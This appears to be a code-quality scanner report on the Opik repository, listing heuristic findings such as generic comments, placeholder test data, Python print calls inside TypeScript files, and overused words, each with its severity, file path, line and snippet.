LOW⚡…/python/src/opik/evaluation/scorers/scorer_function.py39 # Check if it has both dataset_item and task_outputsCOMMENT
LOW⚡…/python/src/opik/evaluation/scorers/scorer_function.py44 # Check if it has at least one task_span parameterCOMMENT
LOWsdks/python/src/opik/api_objects/validation_helpers.py31 # Check if usage is already in backend format (from export/import)COMMENT
LOWsdks/python/src/opik/api_objects/opik_query_language.py499 # Check if it's an escaped quote (doubled quote)COMMENT
LOWsdks/python/src/opik/api_objects/opik_query_language.py581 # Check if the key is quotedCOMMENT
LOWsdks/opik_optimizer/benchmarks/utils/task_runner.py710 # Check if this dataset is handled by a package-specific agent/prompt wiring.COMMENT
LOWsdks/opik_optimizer/scripts/generate_changelog.py122 # Check if version actually changed from previousCOMMENT
LOWsdks/opik_optimizer/scripts/generate_fern_docs.py60 # Check if we're entering the Args sectionCOMMENT
LOWsdks/opik_optimizer/scripts/generate_fern_docs.py66 # Check if this is a new parameter (starts with word followed by colon)COMMENT
LOWsdks/opik_optimizer/scripts/generate_fern_docs.py232 # Check if docstring ends on same lineCOMMENT
LOWsdks/opik_optimizer/scripts/generate_fern_docs.py255 # Check if first line is raise NotImplementedErrorCOMMENT
LOWsdks/opik_optimizer/scripts/generate_fern_docs.py505 # Write the fileSTRING
LOW…ks/opik_optimizer/src/opik_optimizer/base_optimizer.py1518 # Check if optimization failed (finish_reason = "error")COMMENT
LOW…izer/src/opik_optimizer/metrics/task_span/span_cost.py66 # Check if span already has a cost calculated (e.g., from integration tracking)COMMENT
LOWsdks/opik_optimizer/src/opik_optimizer/core/results.py246 # Check if it's a dict of ChatPromptsCOMMENT
LOWsdks/opik_optimizer/src/opik_optimizer/core/results.py733 # Check if it's a dict of ChatPromptsCOMMENT
LOWsdks/opik_optimizer/src/opik_optimizer/core/results.py852 # Check if initial score exists and is a numberCOMMENT
LOW…ptimizer/src/opik_optimizer/datasets/driving_hazard.py125 # Check if dataset already has the correct number of itemsCOMMENT
LOW…orithms/meta_prompt_optimizer/meta_prompt_optimizer.py283 # Check if we should extract patterns from hall of fameCOMMENT
LOW…algorithms/meta_prompt_optimizer/ops/halloffame_ops.py70 # Check if score is high enoughCOMMENT
35 more matches not shown…
Fake / Example Data94 hits · 100 pts
SeverityFileLineSnippetContext
LOW…tests/unit/runner/bridge_handlers/test_search_files.py16 ["git", "config", "user.email", "test@test.com"],CODE
LOW⚡…/tests/unit/message_processing/test_encoder_helpers.py23 obj = {"name": "John Doe", "email": "john@example.com"}CODE
LOW⚡…/tests/unit/message_processing/test_encoder_helpers.py29 expected = {"name": "John Doe", "email": "john@example.com"}CODE
LOW⚡…/tests/unit/message_processing/test_encoder_helpers.py34 obj = {"name": "John Doe"}CODE
LOW⚡…/tests/unit/message_processing/test_encoder_helpers.py44 expected = {"name": "John Doe"}CODE
LOW⚡…/tests/unit/message_processing/test_encoder_helpers.py50 "name": "John Doe",CODE
LOW⚡…/tests/unit/message_processing/test_encoder_helpers.py66 "name": "John Doe",CODE
LOW⚡…/tests/unit/message_processing/test_encoder_helpers.py75 obj = {"name": "John Doe", "age": 30}CODE
LOW⚡…/tests/unit/message_processing/test_encoder_helpers.py86 expected = {"name": "John Doe", "age": 30}CODE
LOW⚡…/tests/unit/message_processing/test_encoder_helpers.py91 obj = {"name": "John Doe", "email": "john@example.com", "age": 30}CODE
LOW⚡…/tests/unit/message_processing/test_encoder_helpers.py165 "name": "John Doe",CODE
LOW⚡…/tests/unit/message_processing/test_encoder_helpers.py170 "street": "123 Main Street",CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py102 expected = {"name": "John Doe", "email": "[ANONYMIZED]", "age": 30}CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py148 person = Person(name="John Doe", email="john@example.com", age=30)CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py149 person.address["street"] = "123 Main Street"CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py397 obj = {"email": "test@example.com", "name": "John Doe"}CODE
LOW…/tests/unit/message_processing/test_encoder_helpers.py409 expected = {"email": "PREFIX_test@example.com_SUFFIX", "name": "John Doe"}CODE
LOW…s/unit/cli/test_migrate_dataset_experiments_cascade.py1245 broken = _Experiment(id="placeholder")CODE
LOW⚡sdks/python/tests/unit/cli/test_account_identity.py284 assert properties["workspace_kind"] == "placeholder"CODE
LOW⚡…hon/tests/unit/anonymizer/test_recursive_anonymizer.py59 "email": "user@example.com",CODE
LOW⚡…hon/tests/unit/anonymizer/test_recursive_anonymizer.py60 "profile": {"name": "John Doe", "phone": "555-1234"},CODE
LOW⚡…hon/tests/unit/anonymizer/test_recursive_anonymizer.py60 "profile": {"name": "John Doe", "phone": "555-1234"},CODE
LOW⚡…hon/tests/unit/anonymizer/test_recursive_anonymizer.py72 "data": "user@example.com",CODE
LOW⚡…hon/tests/unit/anonymizer/test_recursive_anonymizer.py77 "data": "John Doe",CODE
LOW⚡…hon/tests/unit/anonymizer/test_recursive_anonymizer.py82 "data": "555-1234",CODE
LOW…hon/tests/unit/anonymizer/test_recursive_anonymizer.py422 "name": "John Doe",CODE
LOW…hon/tests/unit/anonymizer/test_recursive_anonymizer.py423 "phone": "555-1234",CODE
LOW⚡…/python/tests/unit/anonymizer/test_rules_anonymizer.py88 data = {"name": "John Doe", "phone": "123-456-7890", "address": "123 Main St"}CODE
LOW⚡…/python/tests/unit/anonymizer/test_rules_anonymizer.py88 data = {"name": "John Doe", "phone": "123-456-7890", "address": "123 Main St"}CODE
LOW⚡…/python/tests/unit/anonymizer/test_rules_anonymizer.py93 "name": "John Doe",CODE
LOW⚡…/python/tests/unit/anonymizer/test_rules_anonymizer.py118 "name": "John Doe",CODE
LOW⚡…/python/tests/unit/anonymizer/test_rules_anonymizer.py128 "name": "John Doe",CODE
LOW⚡…/python/tests/unit/anonymizer/test_rules_anonymizer.py166 {"name": "John Doe", "contacts": ["john@example.com", "123-456-7890"]},CODE
LOW⚡…/python/tests/unit/anonymizer/test_rules_anonymizer.py176 {"name": "John Doe", "contacts": ["[EMAIL]", "[PHONE]"]},CODE
LOW⚡…tests/unit/evaluation/metrics/test_prompt_injection.py564 padding_before = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. " * 50CODE
LOW⚡…tests/unit/evaluation/metrics/test_prompt_injection.py564 padding_before = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. " * 50CODE
LOW⚡…hon/tests/unit/api_objects/test_opik_query_language.py866 'created_by = "user@example.com"',CODE
LOW⚡…hon/tests/unit/api_objects/test_opik_query_language.py867 [{"field": "created_by", "operator": "=", "value": "user@example.com"}],CODE
LOW⚡…hon/tests/unit/api_objects/test_opik_query_language.py870 'last_updated_by != "admin@example.com"',CODE
LOW⚡…hon/tests/unit/api_objects/test_opik_query_language.py875 "value": "admin@example.com",CODE
LOW…hon/tests/unit/api_objects/test_opik_query_language.py1106 'created_by ends_with "user@example.com"',CODE
LOW…hon/tests/unit/api_objects/test_opik_query_language.py1111 "value": "user@example.com",CODE
LOW…thon/tests/library_integration/mistral/test_mistral.py673 track_mistral(mistralai.Mistral(api_key="dummy-key"))CODE
LOWsdks/python/src/opik/cli/account_identity.py208 return configured, "placeholder"CODE
LOWsdks/python/src/opik/api_objects/opik_client.py2894 - `created_by = "user@example.com"` - Filter by creatorSTRING
LOWsdks/python/src/opik/api_objects/opik_client.py2996 - `created_by = "user@example.com"` - Filter by creatorSTRING
LOWsdks/python/src/opik/api_objects/opik_client.py3124 - `created_by = "user@example.com"` - Filter by creatorSTRING
LOWsdks/python/src/opik/api_objects/prompt/client.py376 - `created_by = "user@example.com"` - Filter by creatorSTRING
LOWsdks/typescript/tests/unit/prompt/PromptVersion.test.ts272 createdBy: "user@example.com",CODE
LOWsdks/typescript/tests/unit/prompt/PromptVersion.test.ts370 createdBy: "admin@example.com",CODE
LOWsdks/typescript/tests/unit/prompt/PromptVersion.test.ts920 createdBy: "user@example.com",CODE
LOWsdks/typescript/tests/unit/prompt/PromptVersion.test.ts937 expect(version.createdBy).toBe("user@example.com");CODE
LOW…/typescript/tests/unit/query/OpikQueryLanguage.test.ts538 'tags contains "production" and version_count > 1 and created_by = "user@example.com"'CODE
LOW…/typescript/tests/unit/query/OpikQueryLanguage.test.ts556 value: "user@example.com",CODE
LOW…ypescript/tests/unit/client/client-agentConfig.test.ts22 createdBy: "user@example.com",CODE
LOW…ypescript/tests/unit/client/client-agentConfig.test.ts329 expect(blueprint.createdBy).toBe("user@example.com");CODE
LOW…ks/typescript/tests/unit/client/client-prompts.test.ts858 await client.searchPrompts('created_by = "user@example.com"');CODE
LOWsdks/typescript/src/opik/client/Client.ts1728 * const prompts = await client.searchPrompts('created_by = "user@example.com"');COMMENT
LOW.agents/commands/comet/create-and-run-tests.md127 .name("John Doe")CODE
LOW.agents/commands/comet/create-and-run-tests.md153 const mockUser = { id: '1', name: 'John Doe', email: 'john@example.com' };CODE
34 more matches not shown…
Cross-Language Confusion (JS/TS)14 hits · 90 pts
SeverityFileLineSnippetContext
HIGH…ts_end_to_end/e2e/core/metrics/python-metric-source.ts239 print("this line is not a score result", flush=True)CODE
HIGHtests_end_to_end/e2e/agents/known-failing/harness.ts39print(json.dumps({"passed": passed, "total": len(suite["items"])}))`;CODE
HIGH…-shared/traces/GuardrailConfig/GuardrailConfigCode.tsx51 print("Guardrail failed:", e)CODE
HIGH…-shared/traces/GuardrailConfig/GuardrailConfigCode.tsx56 print("Guardrail failed:", e)`}CODE
HIGH…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx37print(formatted_prompt)CODE
HIGH⚡…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx50print(prompt.metadata)CODE
HIGH⚡…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx54print(formatted_prompt)CODE
HIGH⚡…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx64print(prompt.metadata)CODE
HIGH⚡…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx68print(formatted_prompt)CODE
HIGH…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx87print(formatted_messages)CODE
HIGH⚡…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx100print(chat_prompt.metadata)CODE
HIGH⚡…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx104print(formatted_messages)CODE
HIGH⚡…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx114print(chat_prompt.metadata)CODE
HIGH⚡…/v2/pages/PromptPage/PromptTab/UseThisPromptDialog.tsx118print(formatted_messages)CODE
AI Slop Vocabulary33 hits · 59 pts
SeverityFileLineSnippetContext
MEDIUMsdks/python/tests/unit/plugins/pytest/test_hooks.py4# TODO(#5219): move these tests to a public pytest plugin test harness/API.COMMENT
MEDIUM…on/tests/unit/cli/test_export_project_rate_limiting.py454 # Bounded-chunk invariants (robust to the exact chunk boundary):COMMENT
MEDIUM…python/tests/library_integration/adk/test_adk_async.py346 # below so the test stays robust against that model-side variability.STRING
LOWsdks/python/src/opik/decorator/base_track_decorator.py557 # just use output as end argumentsCOMMENT
LOWsdks/python/src/opik/decorator/span_creation_handler.py131 # In that case the decorator should just create a span for the existing trace.COMMENT
MEDIUM…ocessing/emulation/local_emulator_message_processor.py17 """This class serves as a replacement for the real backend and collects all logged messagesSTRING
LOW⚡…e_processing/preprocessing/attachments_preprocessor.py35 # already pre-processed - just return the original message to avoid infinite recursionCOMMENT
MEDIUMsdks/python/src/opik/cli/exports/utils.py138 """Create a comprehensive experiment data structure for export."""STRING
LOW…/src/opik/integrations/agentspec/opik_spanprocessor.py427 # Async methods just call the sync versionsCOMMENT
LOWsdks/python/src/opik/rest_api/core/serialization.py180 # then we can just pass the value through as isCOMMENT
MEDIUMsdks/typescript/src/opik/prompt/versionHelpers.ts83 // Use fast-deep-equal for robust structural comparisonCOMMENT
LOW…ithms/parameter_optimizer/test_sensitivity_analysis.py209 # Should not crash, just use available dataCOMMENT
MEDIUM…pik_optimizer/scripts/datasets/build_bm25_wikipedia.py502 # Generate comprehensive READMECOMMENT
LOW…k_optimizer/src/opik_optimizer/agents/litellm_agent.py86 # If trying to delete logprobs and it doesn't exist, just returnCOMMENT
LOW…k_optimizer/src/opik_optimizer/agents/litellm_agent.py140 # If trying to delete server_tool_use and it doesn't exist, just returnCOMMENT
MEDIUMtests_load/tests/test_image_inference.py920 # Show comprehensive resultsCOMMENT
MEDIUMtests_load/tests/test_image_inference.py829 """Run comprehensive image generation tests across all available providers"""STRING
MEDIUM…to_end/e2e/tests/test-suites/test-suites-smoke.spec.ts66 // Allow some slack: require at least 2/3 passing so the smoke is robustCOMMENT
MEDIUMdeployment/docker-compose/docker-compose.yaml96 # Use Bitnami-compatible data directory for seamless migration from Bitnami imagesCOMMENT
MEDIUM…et/opik/infrastructure/TracesLocalV2BenchmarkTest.java814 // Delta here; hence only the robust facts are asserted (both ZSTD variants beat LZ4). The shipped codec isSTRING
MEDIUM…et/opik/infrastructure/TracesLocalV2BenchmarkTest.java831 // robust facts are asserted (both ZSTD variants beat LZ4). The shipped codec is pinned bySTRING
MEDIUM…et/opik/infrastructure/TracesLocalV2BenchmarkTest.java1222 // after one warmup (not a sustained concurrent-read load), so the robust takeaway is the ZSTD(3) ~= ZSTD(1)STRING
MEDIUM…met/opik/infrastructure/SpansLocalV2BenchmarkTest.java1028 // Both ZSTD levels beat LZ4 by a wide margin, which is the robust fact and all this slice can assert: itsSTRING
MEDIUM…met/opik/infrastructure/SpansLocalV2BenchmarkTest.java1059 // therefore drops Delta from start_time, created_at and id_at, and the pin map moves with it. Only the robustSTRING
MEDIUM…met/opik/infrastructure/SpansLocalV2BenchmarkTest.java1090 // differencing. Migration 000116 ships ZSTD(1). Only the robust orderings are asserted.STRING
MEDIUM…met/opik/infrastructure/SpansLocalV2BenchmarkTest.java1107 // hence only the robust facts are asserted (both ZSTD variants beat LZ4). The spans-specific re-check belongs tSTRING
MEDIUM…met/opik/infrastructure/SpansLocalV2BenchmarkTest.java1122 // end_time; the synthetic slice scrambles it, so only the robust facts are asserted.STRING
MEDIUM…met/opik/infrastructure/SpansLocalV2BenchmarkTest.java1291 // sustained concurrent-read load), so the robust takeaway is the ZSTD(3) ~= ZSTD(1) parity; the absolute timesSTRING
MEDIUM…ructure/metrics/ClickHousePartitionMetricsDAOTest.java151 // assertion robust to ReplacingMergeTree duplicates).COMMENT
MEDIUM…opik/api/evaluators/AutomationRuleEvaluatorUpdate.java80 // Service layer keeps both fields in sync for seamless migrationCOMMENT
MEDIUM…a/com/comet/opik/domain/filter/FilterQueryBuilder.java57 // consistent with the data.* sort path and robust to keys containing special characters.COMMENT
LOW…opik-python-backend/src/opik_backend/studio/helpers.py63 # Create client - it will read from the environment variables we just setCOMMENT
MEDIUMapps/opik-frontend/package-lock.json15800 "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.2.tgz",CODE
Overly Generic Function Names18 hits · 17 pts
SeverityFileLineSnippetContext
LOW…/tests/library_integration/langchain/test_langgraph.py777 def process_data(value: int) -> int:CODE
LOWsdks/python/tests/e2e/test_guardrails.py49 def test_function():CODE
LOWsdks/python/tests/e2e/test_guardrails.py114 def test_function():CODE
LOW…ks/python/tests/e2e/test_guardrails_stored_policies.py205 def test_function():CODE
LOW…python/tests/e2e/evaluation/test_test_suite_agentic.py72 def run_task(item: Dict[str, Any]) -> Dict[str, Any]:CODE
LOW…python/tests/e2e/evaluation/test_test_suite_agentic.py152 def run_task(item: Dict[str, Any]) -> Dict[str, Any]:CODE
LOW…python/tests/e2e/evaluation/test_test_suite_agentic.py263 def run_task(item: Dict[str, Any]) -> Dict[str, Any]:CODE
LOWsdks/python/examples/dynamic_tracing_example.py49def process_data(data: Dict[str, Any]) -> Dict[str, Any]:CODE
LOWsdks/python/examples/dynamic_tracing_example.py92 def handle_request(prompt: str, user_type: str) -> str:CODE
LOW…tegrations/langchain/langgraph_async_context_bridge.py38 def process_data(value: int) -> int:STRING
LOWsdks/opik_optimizer/benchmarks/utils/task_runner.py589def execute_task(CODE
LOWtests_load/suite/python_sdk/test_heavy_payload.py40 def handle_request(prompt: str) -> str:CODE
LOWtests_load/suite/python_sdk/test_bursts.py39 def handle_request(prompt: str) -> str:CODE
LOWtests_load/suite/python_sdk/test_bursts.py85 def handle_request(prompt: str) -> str:CODE
LOWtests_load/suite/python_sdk/test_bursts.py144 def handle_request(worker_id: int, prompt: str) -> str:CODE
LOWtests_load/suite/python_sdk/test_ingestion_rate.py43 def handle_request(prompt: str) -> str:CODE
LOWtests_load/suite/python_sdk/test_attachments.py46 def handle_request(prompt: str) -> str:CODE
LOWapps/opik-frontend/src/lib/optimizations.test.ts941 def helper(self):STRING
Example Usage Blocks8 hits · 12 pts
SeverityFileLineSnippetContext
LOWscripts/check_clickhouse_migrations_cluster.sh7# Usage:COMMENT
LOWscripts/analyze_trivy_report.sh5# Usage:COMMENT
LOW.github/scripts/send-slack-message.sh8# Usage:COMMENT
LOW.github/scripts/notify-slack-test-failure.sh14# Usage:COMMENT
LOW…-migrations/spans-local-v2-cutover/scripts/backfill.sh34# Usage:COMMENT
LOW…ta-migrations/spans-local-v2-cutover/scripts/verify.sh34# Usage:COMMENT
LOW…migrations/traces-local-v2-cutover/scripts/backfill.sh18# Usage:COMMENT
LOW…a-migrations/traces-local-v2-cutover/scripts/verify.sh21# Usage:COMMENT
Slop Phrases8 hits · 11 pts
SeverityFileLineSnippetContext
LOW…cessing/processors/attachments_extraction_processor.py129 delete_after_upload=True, # make sure to delete attachments after upload to avoid leaking space and datCODE
MEDIUM…etrics/conversation/heuristics/degeneration/phrases.py5 "as an ai language model",CODE
MEDIUM…metrics/conversation/heuristics/degeneration/metric.py33 phrases (for example, "as an AI language model..."). Each turn receives aSTRING
LOW⚡sdks/opik_optimizer/scripts/generate_fern_docs.py91 # Don't forget to save the last parameterCOMMENT
LOWextensions/cursor/src/cursor/sessionManager.ts516 // Don't forget to add the last groupCOMMENT
LOW.github/workflows/update_helm_readme.yaml47 echo "::error::Helm docs are out of date. Please run 'pre-commit run helm-docs --all-files' locally and commitCODE
LOW…/src/api/datasets/useDatasetItemBatchDeleteMutation.ts62 ? "The suite item has been removed. Don't forget to save your changes to create a new version."CODE
LOW…/src/api/datasets/useDatasetItemBatchDeleteMutation.ts63 : "The suite items have been removed. Don't forget to save your changes to create a new version.",CODE
Dead Code3 hits · 6 pts
SeverityFileLineSnippetContext
MEDIUM…ks/python/tests/unit/decorator/test_tracker_outputs.py839CODE
MEDIUM…/library_integration/anthropic/test_stream_patchers.py92CODE
MEDIUM…/library_integration/anthropic/test_stream_patchers.py97CODE
TODO Padding1 hit · 1 pts
SeverityFileLineSnippetContext
LOW…python/src/opik/integrations/anthropic/opik_tracker.py62 ) # TODO: implement a proper support for vertex and bedrockCODE